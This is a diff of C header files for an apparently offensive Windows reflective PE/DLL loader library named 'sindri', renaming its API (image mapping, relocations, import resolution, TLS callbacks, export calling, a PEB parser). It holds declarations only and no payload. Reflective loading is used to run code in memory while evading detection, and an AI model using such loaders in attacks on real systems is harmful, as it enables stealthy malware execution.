@@ -22,14 +22,14 @@ snd_status_t snd_prepare_reflective_image(snd_loader_ctx_t *ctx);
|
|||||||
* @param ctx Prepared loader context.
|
* @param ctx Prepared loader context.
|
||||||
* @return SND_OK on success, otherwise execution error.
|
* @return SND_OK on success, otherwise execution error.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_execute_reflective_image(snd_loader_ctx_t *ctx);
|
snd_status_t snd_ldr_pe_execute_image(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Cleans up and detaches the reflective image state.
|
* @brief Cleans up and detaches the reflective image state.
|
||||||
*
|
*
|
||||||
* @param ctx Reflective loader context.
|
* @param ctx Reflective loader context.
|
||||||
*/
|
*/
|
||||||
void snd_detach_reflective_image(snd_loader_ctx_t *ctx);
|
void snd_ldr_pe_detach_image(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
|||||||
@@ -2,16 +2,17 @@
|
|||||||
#define SND_LOADERS_REFLECTIVE_ENGINE_H
|
#define SND_LOADERS_REFLECTIVE_ENGINE_H
|
||||||
|
|
||||||
#include <sindri/common/buffer.h>
|
#include <sindri/common/buffer.h>
|
||||||
#include <sindri/common/helpers.h>
|
#include <sindri/common/macros.h>
|
||||||
#include <sindri/common/status.h>
|
#include <sindri/common/status.h>
|
||||||
#include <sindri/parsers/pe/pe_parser.h>
|
#include <sindri/parsers/pe/parser.h>
|
||||||
#include <sindri/primitives/os_api.h>
|
#include <sindri/primitives/os_api.h>
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
LPVOID virtual_base;
|
LPVOID local_base;
|
||||||
|
LPVOID execution_base;
|
||||||
LONG_PTR delta_offset;
|
LONG_PTR delta_offset;
|
||||||
LPVOID entry_point;
|
LPVOID entry_point;
|
||||||
SIZE_T allocated_size;
|
SIZE_T allocated_size;
|
||||||
@@ -26,18 +27,18 @@ typedef enum {
|
|||||||
SND_STAGE_IMPORTS_RESOLVED,
|
SND_STAGE_IMPORTS_RESOLVED,
|
||||||
SND_STAGE_READY_FOR_EXECUTION,
|
SND_STAGE_READY_FOR_EXECUTION,
|
||||||
SND_STAGE_EXECUTED,
|
SND_STAGE_EXECUTED,
|
||||||
} snd_loader_stage_t;
|
} snd_ldr_pe_stage_t;
|
||||||
|
|
||||||
typedef struct {
|
typedef struct _snd_ldr_pe_ctx {
|
||||||
const snd_buffer_t *raw_source;
|
const snd_buffer_t *raw_source;
|
||||||
snd_pe_parser_t pe;
|
snd_pe_parser_t pe;
|
||||||
snd_pe_target_t target;
|
snd_pe_target_t target;
|
||||||
snd_loader_stage_t stage;
|
snd_ldr_pe_stage_t stage;
|
||||||
|
|
||||||
const snd_memory_api_t *mem_api;
|
const snd_memory_api_t *mem_api;
|
||||||
const snd_module_api_t *mod_api;
|
const snd_module_api_t *mod_api;
|
||||||
|
|
||||||
} snd_loader_ctx_t;
|
} snd_ldr_pe_ctx_t;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Portable macro to resolve and call a reflectively loaded DLL export
|
* @brief Portable macro to resolve and call a reflectively loaded DLL export
|
||||||
@@ -53,7 +54,7 @@ typedef struct {
|
|||||||
#define SND_CALL_EXPORT(ctx, name, signature, status_out, ...) \
|
#define SND_CALL_EXPORT(ctx, name, signature, status_out, ...) \
|
||||||
do { \
|
do { \
|
||||||
FARPROC _proc = NULL; \
|
FARPROC _proc = NULL; \
|
||||||
(status_out) = snd_get_proc_address((ctx), (name), &_proc); \
|
(status_out) = snd_ldr_pe_get_proc_address((ctx), (name), &_proc); \
|
||||||
if ((status_out).code == SND_SUCCESS && _proc != NULL) { \
|
if ((status_out).code == SND_SUCCESS && _proc != NULL) { \
|
||||||
((signature)_proc)(__VA_ARGS__); \
|
((signature)_proc)(__VA_ARGS__); \
|
||||||
} \
|
} \
|
||||||
@@ -74,7 +75,7 @@ typedef struct {
|
|||||||
#define SND_CALL_EXPORT_RET(ctx, name, signature, status_out, ret_out, ...) \
|
#define SND_CALL_EXPORT_RET(ctx, name, signature, status_out, ret_out, ...) \
|
||||||
do { \
|
do { \
|
||||||
FARPROC _proc = NULL; \
|
FARPROC _proc = NULL; \
|
||||||
(status_out) = snd_get_proc_address((ctx), (name), &_proc); \
|
(status_out) = snd_ldr_pe_get_proc_address((ctx), (name), &_proc); \
|
||||||
if ((status_out).code == SND_SUCCESS && _proc != NULL) { \
|
if ((status_out).code == SND_SUCCESS && _proc != NULL) { \
|
||||||
(ret_out) = ((signature)_proc)(__VA_ARGS__); \
|
(ret_out) = ((signature)_proc)(__VA_ARGS__); \
|
||||||
} \
|
} \
|
||||||
@@ -85,7 +86,7 @@ typedef struct {
|
|||||||
* @param ctx The loader context with parsed PE.
|
* @param ctx The loader context with parsed PE.
|
||||||
* @return SND_OK on match, otherwise SND_STATUS_ARCH_MISMATCH.
|
* @return SND_OK on match, otherwise SND_STATUS_ARCH_MISMATCH.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_compatibility_check(snd_loader_ctx_t *ctx);
|
snd_status_t snd_ldr_pe_compatibility_check(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Allocates memory and copies sections.
|
* @brief Allocates memory and copies sections.
|
||||||
@@ -93,42 +94,42 @@ snd_status_t snd_compatibility_check(snd_loader_ctx_t *ctx);
|
|||||||
* success.
|
* success.
|
||||||
* @return SND_OK on success, otherwise an allocation error.
|
* @return SND_OK on success, otherwise an allocation error.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_allocate_and_copy_image(snd_loader_ctx_t *ctx);
|
snd_status_t snd_ldr_pe_allocate_and_copy_image(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Applies base relocation fixups.
|
* @brief Applies base relocation fixups.
|
||||||
* @param ctx The loader context containing the mapped virtual base.
|
* @param ctx The loader context containing the mapped virtual base.
|
||||||
* @return SND_OK on success, otherwise a relocation error.
|
* @return SND_OK on success, otherwise a relocation error.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_apply_relocations(snd_loader_ctx_t *ctx);
|
snd_status_t snd_ldr_pe_apply_relocations(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Resolves imports and patches IAT.
|
* @brief Resolves imports and patches IAT.
|
||||||
* @param ctx The loader context.
|
* @param ctx The loader context.
|
||||||
* @return SND_OK on success, otherwise a resolution error.
|
* @return SND_OK on success, otherwise a resolution error.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_resolve_imports(snd_loader_ctx_t *ctx);
|
snd_status_t snd_ldr_pe_resolve_imports(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Applies final section page protections.
|
* @brief Applies final section page protections.
|
||||||
* @param ctx The loader context.
|
* @param ctx The loader context.
|
||||||
* @return SND_OK on success, otherwise a protection error.
|
* @return SND_OK on success, otherwise a protection error.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_apply_memory_protections(snd_loader_ctx_t *ctx);
|
snd_status_t snd_ldr_pe_apply_memory_protections(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Executes TLS callbacks from a loaded image.
|
* @brief Executes TLS callbacks from a loaded image.
|
||||||
* @param ctx The loader context.
|
* @param ctx The loader context.
|
||||||
* @param reason The reason for the call (e.g., DLL_PROCESS_ATTACH).
|
* @param reason The reason for the call (e.g., DLL_PROCESS_ATTACH).
|
||||||
*/
|
*/
|
||||||
void snd_execute_tls_callbacks(snd_loader_ctx_t *ctx, DWORD reason);
|
void snd_ldr_pe_execute_tls_callbacks(snd_ldr_pe_ctx_t *ctx, DWORD reason);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Resolves the entry point pointer.
|
* @brief Resolves the entry point pointer.
|
||||||
* @param ctx The loader context.
|
* @param ctx The loader context.
|
||||||
* @return SND_OK on success, error code on failure.
|
* @return SND_OK on success, error code on failure.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_get_entry_point(snd_loader_ctx_t *ctx);
|
snd_status_t snd_ldr_pe_get_entry_point(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Resolves an exported symbol address.
|
* @brief Resolves an exported symbol address.
|
||||||
@@ -137,13 +138,13 @@ snd_status_t snd_get_entry_point(snd_loader_ctx_t *ctx);
|
|||||||
* @param func_addr_out Receives resolved export pointer.
|
* @param func_addr_out Receives resolved export pointer.
|
||||||
* @return SND_OK on success, error code on failure.
|
* @return SND_OK on success, error code on failure.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_get_proc_address(snd_loader_ctx_t *ctx, const char *func_name, FARPROC *func_addr_out);
|
snd_status_t snd_ldr_pe_get_proc_address(snd_ldr_pe_ctx_t *ctx, const char *func_name, FARPROC *func_addr_out);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Frees memory associated with the mapped reflective image.
|
* @brief Frees memory associated with the mapped reflective image.
|
||||||
* @param ctx The loader context.
|
* @param ctx The loader context.
|
||||||
*/
|
*/
|
||||||
void snd_free_mapped_image(snd_loader_ctx_t *ctx);
|
void snd_ldr_pe_free_mapped_image(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
#ifndef SND_PARSERS_H
|
#ifndef SND_PARSERS_H
|
||||||
#define SND_PARSERS_H
|
#define SND_PARSERS_H
|
||||||
|
|
||||||
|
#include <sindri/parsers/env.h>
|
||||||
#include <sindri/parsers/pe.h>
|
#include <sindri/parsers/pe.h>
|
||||||
|
|
||||||
#endif // SND_PARSERS_H
|
#endif // SND_PARSERS_H
|
||||||
|
|||||||
@@ -0,0 +1,6 @@
|
|||||||
|
#ifndef SND_PARSERS_ENV_H
|
||||||
|
#define SND_PARSERS_ENV_H
|
||||||
|
|
||||||
|
#include <sindri/parsers/env/peb.h>
|
||||||
|
|
||||||
|
#endif // SND_PARSERS_ENV_H
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user